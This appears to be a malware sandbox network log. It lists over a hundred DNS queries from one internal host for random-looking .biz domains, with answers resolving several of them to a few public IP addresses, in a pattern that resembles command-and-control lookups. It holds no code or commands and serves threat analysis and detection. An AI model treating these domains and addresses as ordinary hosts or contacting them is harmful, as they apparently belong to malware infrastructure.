Oct 28, 2024 16:52:57.791177988 CET	52472	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:57.805684090 CET	53	52472	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:57.806479931 CET	60448	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:57.814454079 CET	53	60448	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:57.815094948 CET	58539	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:57.824181080 CET	53	58539	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 16:49:58.852785110 CET	192.168.2.5	1.1.1.1	0x2f78	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:49:59.705899954 CET	192.168.2.5	1.1.1.1	0x587	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:00.006891012 CET	192.168.2.5	1.1.1.1	0xaf41	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:00.904794931 CET	192.168.2.5	1.1.1.1	0xa669	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:01.449763060 CET	192.168.2.5	1.1.1.1	0x6fba	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:02.676984072 CET	192.168.2.5	1.1.1.1	0xd72	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:02.697407007 CET	192.168.2.5	1.1.1.1	0x266f	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:03.595184088 CET	192.168.2.5	1.1.1.1	0xbb71	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:04.596829891 CET	192.168.2.5	1.1.1.1	0x6bfb	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:06.147089005 CET	192.168.2.5	1.1.1.1	0x985a	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:06.156759977 CET	192.168.2.5	1.1.1.1	0xe1f5	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:07.680524111 CET	192.168.2.5	1.1.1.1	0x93ea	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:07.690089941 CET	192.168.2.5	1.1.1.1	0xa22c	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:07.707196951 CET	192.168.2.5	1.1.1.1	0x76c	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:24.868803024 CET	192.168.2.5	1.1.1.1	0x823a	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:41.970679998 CET	192.168.2.5	1.1.1.1	0xc051	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:43.751815081 CET	192.168.2.5	1.1.1.1	0x4390	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:45.692521095 CET	192.168.2.5	1.1.1.1	0x6f45	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:46.600362062 CET	192.168.2.5	1.1.1.1	0xca64	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:48.354352951 CET	192.168.2.5	1.1.1.1	0x290	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:49.995340109 CET	192.168.2.5	1.1.1.1	0x55b6	Standard query (0)	tbjrpv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:51.219710112 CET	192.168.2.5	1.1.1.1	0xfe03	Standard query (0)	deoci.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:52.189018011 CET	192.168.2.5	1.1.1.1	0x62ee	Standard query (0)	gytujflc.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:53.309561014 CET	192.168.2.5	1.1.1.1	0xd361	Standard query (0)	qaynky.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:55.282622099 CET	192.168.2.5	1.1.1.1	0x28c	Standard query (0)	bumxkqgxu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:56.291156054 CET	192.168.2.5	1.1.1.1	0xa259	Standard query (0)	dwrqljrr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:57.448195934 CET	192.168.2.5	1.1.1.1	0x75a0	Standard query (0)	nqwjmb.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:58.583786964 CET	192.168.2.5	1.1.1.1	0x11f5	Standard query (0)	ytctnunms.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:59.360500097 CET	192.168.2.5	1.1.1.1	0x14e9	Standard query (0)	myups.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:00.736924887 CET	192.168.2.5	1.1.1.1	0x4e52	Standard query (0)	oshhkdluh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:01.847632885 CET	192.168.2.5	1.1.1.1	0xdf55	Standard query (0)	yunalwv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:02.706526041 CET	192.168.2.5	1.1.1.1	0x4171	Standard query (0)	jpskm.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:04.133127928 CET	192.168.2.5	1.1.1.1	0x7839	Standard query (0)	lrxdmhrr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:05.247001886 CET	192.168.2.5	1.1.1.1	0xd1f6	Standard query (0)	wllvnzb.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:07.026309967 CET	192.168.2.5	1.1.1.1	0x2199	Standard query (0)	gnqgo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:08.184406042 CET	192.168.2.5	1.1.1.1	0xfaf	Standard query (0)	jhvzpcfg.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:09.505151987 CET	192.168.2.5	1.1.1.1	0x9680	Standard query (0)	acwjcqqv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:11.115056038 CET	192.168.2.5	1.1.1.1	0xce63	Standard query (0)	lejtdj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:11.124059916 CET	192.168.2.5	1.1.1.1	0x55ed	Standard query (0)	vyome.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:12.376104116 CET	192.168.2.5	1.1.1.1	0x2620	Standard query (0)	yauexmxk.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:13.751931906 CET	192.168.2.5	1.1.1.1	0x41fb	Standard query (0)	iuzpxe.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:15.451435089 CET	192.168.2.5	1.1.1.1	0x181c	Standard query (0)	sxmiywsfv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:16.915152073 CET	192.168.2.5	1.1.1.1	0x5143	Standard query (0)	vrrazpdh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:19.038057089 CET	192.168.2.5	1.1.1.1	0xd69e	Standard query (0)	ftxlah.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:20.667340040 CET	192.168.2.5	1.1.1.1	0x2099	Standard query (0)	typgfhb.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:22.145462990 CET	192.168.2.5	1.1.1.1	0x1066	Standard query (0)	esuzf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:23.200151920 CET	192.168.2.5	1.1.1.1	0xd766	Standard query (0)	gvijgjwkh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:24.171866894 CET	192.168.2.5	1.1.1.1	0x5701	Standard query (0)	qpnczch.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:25.040499926 CET	192.168.2.5	1.1.1.1	0x1220	Standard query (0)	brsua.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:26.042457104 CET	192.168.2.5	1.1.1.1	0xf12a	Standard query (0)	dlynankz.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:26.964453936 CET	192.168.2.5	1.1.1.1	0xfb3	Standard query (0)	oflybfv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:28.446038008 CET	192.168.2.5	1.1.1.1	0x635d	Standard query (0)	yhqqc.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:29.635479927 CET	192.168.2.5	1.1.1.1	0xf29c	Standard query (0)	mnjmhp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:31.091511965 CET	192.168.2.5	1.1.1.1	0x93dc	Standard query (0)	opowhhece.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:31.825014114 CET	192.168.2.5	1.1.1.1	0xef31	Standard query (0)	zjbpaao.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:31.848088980 CET	192.168.2.5	1.1.1.1	0xb1d7	Standard query (0)	jdhhbs.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:33.316127062 CET	192.168.2.5	1.1.1.1	0xbd9b	Standard query (0)	mgmsclkyu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:34.339103937 CET	192.168.2.5	1.1.1.1	0x4a54	Standard query (0)	warkcdu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:35.823595047 CET	192.168.2.5	1.1.1.1	0x4a4e	Standard query (0)	gcedd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:37.317483902 CET	192.168.2.5	1.1.1.1	0xf03c	Standard query (0)	jwkoeoqns.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:38.033188105 CET	192.168.2.5	1.1.1.1	0xeb53	Standard query (0)	xccjj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:38.885278940 CET	192.168.2.5	1.1.1.1	0xf03e	Standard query (0)	hehckyov.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:39.576380014 CET	192.168.2.5	1.1.1.1	0xb940	Standard query (0)	rynmcq.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:39.600198030 CET	192.168.2.5	1.1.1.1	0xb940	Standard query (0)	rynmcq.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:40.631932020 CET	192.168.2.5	1.1.1.1	0x9a05	Standard query (0)	uaafd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:41.621439934 CET	192.168.2.5	1.1.1.1	0x1a38	Standard query (0)	eufxebus.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:43.060237885 CET	192.168.2.5	1.1.1.1	0x4a68	Standard query (0)	pwlqfu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:44.064688921 CET	192.168.2.5	1.1.1.1	0x814a	Standard query (0)	rrqafepng.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:45.518876076 CET	192.168.2.5	1.1.1.1	0x84f9	Standard query (0)	ctdtgwag.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:46.240827084 CET	192.168.2.5	1.1.1.1	0xb8d1	Standard query (0)	tnevuluw.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:47.095659018 CET	192.168.2.5	1.1.1.1	0x4c39	Standard query (0)	whjovd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:47.115859032 CET	192.168.2.5	1.1.1.1	0x4c39	Standard query (0)	whjovd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:48.630945921 CET	192.168.2.5	1.1.1.1	0xaa11	Standard query (0)	gjogvvpsf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:48.940952063 CET	192.168.2.5	1.1.1.1	0xcf2f	Standard query (0)	reczwga.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:49.635838032 CET	192.168.2.5	1.1.1.1	0x1f81	Standard query (0)	bghjpy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:49.662869930 CET	192.168.2.5	1.1.1.1	0x1f81	Standard query (0)	bghjpy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:50.904371977 CET	192.168.2.5	1.1.1.1	0x7673	Standard query (0)	damcprvgv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:51.629144907 CET	192.168.2.5	1.1.1.1	0x4528	Standard query (0)	ocsvqjg.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:52.613784075 CET	192.168.2.5	1.1.1.1	0x5a6d	Standard query (0)	ywffr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:53.481059074 CET	192.168.2.5	1.1.1.1	0xe503	Standard query (0)	ecxbwt.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:54.334994078 CET	192.168.2.5	1.1.1.1	0x179f	Standard query (0)	pectx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:55.195916891 CET	192.168.2.5	1.1.1.1	0x2dbf	Standard query (0)	zyiexezl.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:55.225258112 CET	192.168.2.5	1.1.1.1	0x2dbf	Standard query (0)	zyiexezl.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:56.323522091 CET	192.168.2.5	1.1.1.1	0xe2c2	Standard query (0)	banwyw.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:57.040815115 CET	192.168.2.5	1.1.1.1	0x4a96	Standard query (0)	muapr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:57.049976110 CET	192.168.2.5	1.1.1.1	0xba4f	Standard query (0)	wxgzshna.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:58.726229906 CET	192.168.2.5	1.1.1.1	0x3b71	Standard query (0)	zrlssa.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:59.426347971 CET	192.168.2.5	1.1.1.1	0x8436	Standard query (0)	jlqltsjvh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:00.890336990 CET	192.168.2.5	1.1.1.1	0xed7d	Standard query (0)	xyrgy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:01.565340042 CET	192.168.2.5	1.1.1.1	0x51b1	Standard query (0)	htwqzczce.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:03.048366070 CET	192.168.2.5	1.1.1.1	0x5ea5	Standard query (0)	kvbjaur.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:04.178684950 CET	192.168.2.5	1.1.1.1	0xa951	Standard query (0)	uphca.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:04.878850937 CET	192.168.2.5	1.1.1.1	0x8531	Standard query (0)	fjumtfnz.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:05.732358932 CET	192.168.2.5	1.1.1.1	0x55fb	Standard query (0)	hlzfuyy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:06.681616068 CET	192.168.2.5	1.1.1.1	0x55f8	Standard query (0)	rffxu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:06.709644079 CET	192.168.2.5	1.1.1.1	0x55f8	Standard query (0)	rffxu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:07.869496107 CET	192.168.2.5	1.1.1.1	0xc52a	Standard query (0)	cikivjto.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:08.791812897 CET	192.168.2.5	1.1.1.1	0x2dcd	Standard query (0)	qncdaagct.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:10.249466896 CET	192.168.2.5	1.1.1.1	0xabd0	Standard query (0)	shpwbsrw.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:10.272289991 CET	192.168.2.5	1.1.1.1	0xabd0	Standard query (0)	shpwbsrw.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:11.838620901 CET	192.168.2.5	1.1.1.1	0x2ad4	Standard query (0)	cjvgcl.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:12.525034904 CET	192.168.2.5	1.1.1.1	0xa4e4	Standard query (0)	neazudmrq.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:13.224611044 CET	192.168.2.5	1.1.1.1	0x2abf	Standard query (0)	pgfsvwx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:13.240909100 CET	192.168.2.5	1.1.1.1	0x2abf	Standard query (0)	pgfsvwx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:14.000179052 CET	192.168.2.5	1.1.1.1	0x6e7a	Standard query (0)	aatcwo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:15.882416964 CET	192.168.2.5	1.1.1.1	0x74cf	Standard query (0)	kcyvxytog.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:16.572091103 CET	192.168.2.5	1.1.1.1	0xeea7	Standard query (0)	nwdnxrd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:17.429893970 CET	192.168.2.5	1.1.1.1	0x9b2d	Standard query (0)	ereplfx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:18.273001909 CET	192.168.2.5	1.1.1.1	0x3390	Standard query (0)	ptrim.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:20.085882902 CET	192.168.2.5	1.1.1.1	0x6b33	Standard query (0)	znwbniskf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:21.534456968 CET	192.168.2.5	1.1.1.1	0xe813	Standard query (0)	cpclnad.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:22.220501900 CET	192.168.2.5	1.1.1.1	0x1790	Standard query (0)	mjheo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:22.909151077 CET	192.168.2.5	1.1.1.1	0x4ef8	Standard query (0)	wluwplyh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:24.367496014 CET	192.168.2.5	1.1.1.1	0xd87d	Standard query (0)	zgapiej.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:24.397169113 CET	192.168.2.5	1.1.1.1	0xd87d	Standard query (0)	zgapiej.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:26.183563948 CET	192.168.2.5	1.1.1.1	0xf4b	Standard query (0)	jifai.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:26.885880947 CET	192.168.2.5	1.1.1.1	0xf19b	Standard query (0)	xnxvnn.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:29.265113115 CET	192.168.2.5	1.1.1.1	0xe5e0	Standard query (0)	ihcnogskt.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:30.286562920 CET	192.168.2.5	1.1.1.1	0x6b5e	Standard query (0)	kkqypycm.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:31.717844963 CET	192.168.2.5	1.1.1.1	0x48e5	Standard query (0)	uevrpr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:32.565366983 CET	192.168.2.5	1.1.1.1	0xfccf	Standard query (0)	fgajqjyhr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:32.584656000 CET	192.168.2.5	1.1.1.1	0xfccf	Standard query (0)	fgajqjyhr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:34.120029926 CET	192.168.2.5	1.1.1.1	0x3b71	Standard query (0)	hagujcj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:34.803026915 CET	192.168.2.5	1.1.1.1	0x7275	Standard query (0)	sctmku.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:35.773544073 CET	192.168.2.5	1.1.1.1	0x17b6	Standard query (0)	cwyfknmwh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:35.783262014 CET	192.168.2.5	1.1.1.1	0xee65	Standard query (0)	qcrsp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:35.803380013 CET	192.168.2.5	1.1.1.1	0xee65	Standard query (0)	qcrsp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:36.833779097 CET	192.168.2.5	1.1.1.1	0x545e	Standard query (0)	sewlqwcd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:36.850354910 CET	192.168.2.5	1.1.1.1	0x545e	Standard query (0)	sewlqwcd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:37.724124908 CET	192.168.2.5	1.1.1.1	0x869f	Standard query (0)	dyjdrp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:38.611879110 CET	192.168.2.5	1.1.1.1	0xa936	Standard query (0)	napws.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:39.472476959 CET	192.168.2.5	1.1.1.1	0x9812	Standard query (0)	qvuhsaqa.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:39.490998983 CET	192.168.2.5	1.1.1.1	0x9812	Standard query (0)	qvuhsaqa.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:40.424464941 CET	192.168.2.5	1.1.1.1	0xce81	Standard query (0)	apzzls.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:41.273962021 CET	192.168.2.5	1.1.1.1	0x9b59	Standard query (0)	krnsmlmvd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:42.715226889 CET	192.168.2.5	1.1.1.1	0xe00d	Standard query (0)	nlscndwp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:43.567548990 CET	192.168.2.5	1.1.1.1	0xf0bb	Standard query (0)	bzkysubds.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:43.584938049 CET	192.168.2.5	1.1.1.1	0xf0bb	Standard query (0)	bzkysubds.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:44.344449997 CET	192.168.2.5	1.1.1.1	0xdc7	Standard query (0)	ltpqsnu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:45.039546967 CET	192.168.2.5	1.1.1.1	0x373f	Standard query (0)	vnvbt.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:45.898952007 CET	192.168.2.5	1.1.1.1	0xd21e	Standard query (0)	ypituyqsq.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:46.587510109 CET	192.168.2.5	1.1.1.1	0xe651	Standard query (0)	ijnmvqa.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:47.461843967 CET	192.168.2.5	1.1.1.1	0x9973	Standard query (0)	tltxn.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:48.177464962 CET	192.168.2.5	1.1.1.1	0xebfc	Standard query (0)	vgypotwp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:49.104918957 CET	192.168.2.5	1.1.1.1	0xee3b	Standard query (0)	giliplg.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:49.964350939 CET	192.168.2.5	1.1.1.1	0x556f	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:50.838552952 CET	192.168.2.5	1.1.1.1	0xd3de	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:52.320836067 CET	192.168.2.5	1.1.1.1	0x9996	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:53.580005884 CET	192.168.2.5	1.1.1.1	0xe23	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:54.306361914 CET	192.168.2.5	1.1.1.1	0x43f0	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:55.912970066 CET	192.168.2.5	1.1.1.1	0xf12b	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:55.922346115 CET	192.168.2.5	1.1.1.1	0x47bd	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:55.944669962 CET	192.168.2.5	1.1.1.1	0x47bd	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:57.791177988 CET	192.168.2.5	1.1.1.1	0x1135	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:57.806479931 CET	192.168.2.5	1.1.1.1	0xc96f	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:57.815094948 CET	192.168.2.5	1.1.1.1	0xc69a	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 16:49:58.860671997 CET	1.1.1.1	192.168.2.5	0x2f78	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:49:59.871634007 CET	1.1.1.1	192.168.2.5	0x587	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:00.014678955 CET	1.1.1.1	192.168.2.5	0xaf41	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:00.915004969 CET	1.1.1.1	192.168.2.5	0xa669	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:01.637240887 CET	1.1.1.1	192.168.2.5	0x6fba	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:02.686670065 CET	1.1.1.1	192.168.2.5	0xd72	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:02.707448959 CET	1.1.1.1	192.168.2.5	0x266f	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:03.603594065 CET	1.1.1.1	192.168.2.5	0xbb71	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:04.604485035 CET	1.1.1.1	192.168.2.5	0x6bfb	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:04.604485035 CET	1.1.1.1	192.168.2.5	0x6bfb	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:06.156002045 CET	1.1.1.1	192.168.2.5	0x985a	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:06.166157961 CET	1.1.1.1	192.168.2.5	0xe1f5	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:07.689302921 CET	1.1.1.1	192.168.2.5	0x93ea	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:07.706392050 CET	1.1.1.1	192.168.2.5	0xa22c	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:07.715833902 CET	1.1.1.1	192.168.2.5	0x76c	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:24.877491951 CET	1.1.1.1	192.168.2.5	0x823a	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:41.978333950 CET	1.1.1.1	192.168.2.5	0xc051	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:43.944245100 CET	1.1.1.1	192.168.2.5	0x4390	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:45.700907946 CET	1.1.1.1	192.168.2.5	0x6f45	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:46.610321045 CET	1.1.1.1	192.168.2.5	0xca64	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:48.362464905 CET	1.1.1.1	192.168.2.5	0x290	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:48.362464905 CET	1.1.1.1	192.168.2.5	0x290	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:50.003856897 CET	1.1.1.1	192.168.2.5	0x55b6	No error (0)	tbjrpv.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:51.228598118 CET	1.1.1.1	192.168.2.5	0xfe03	No error (0)	deoci.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
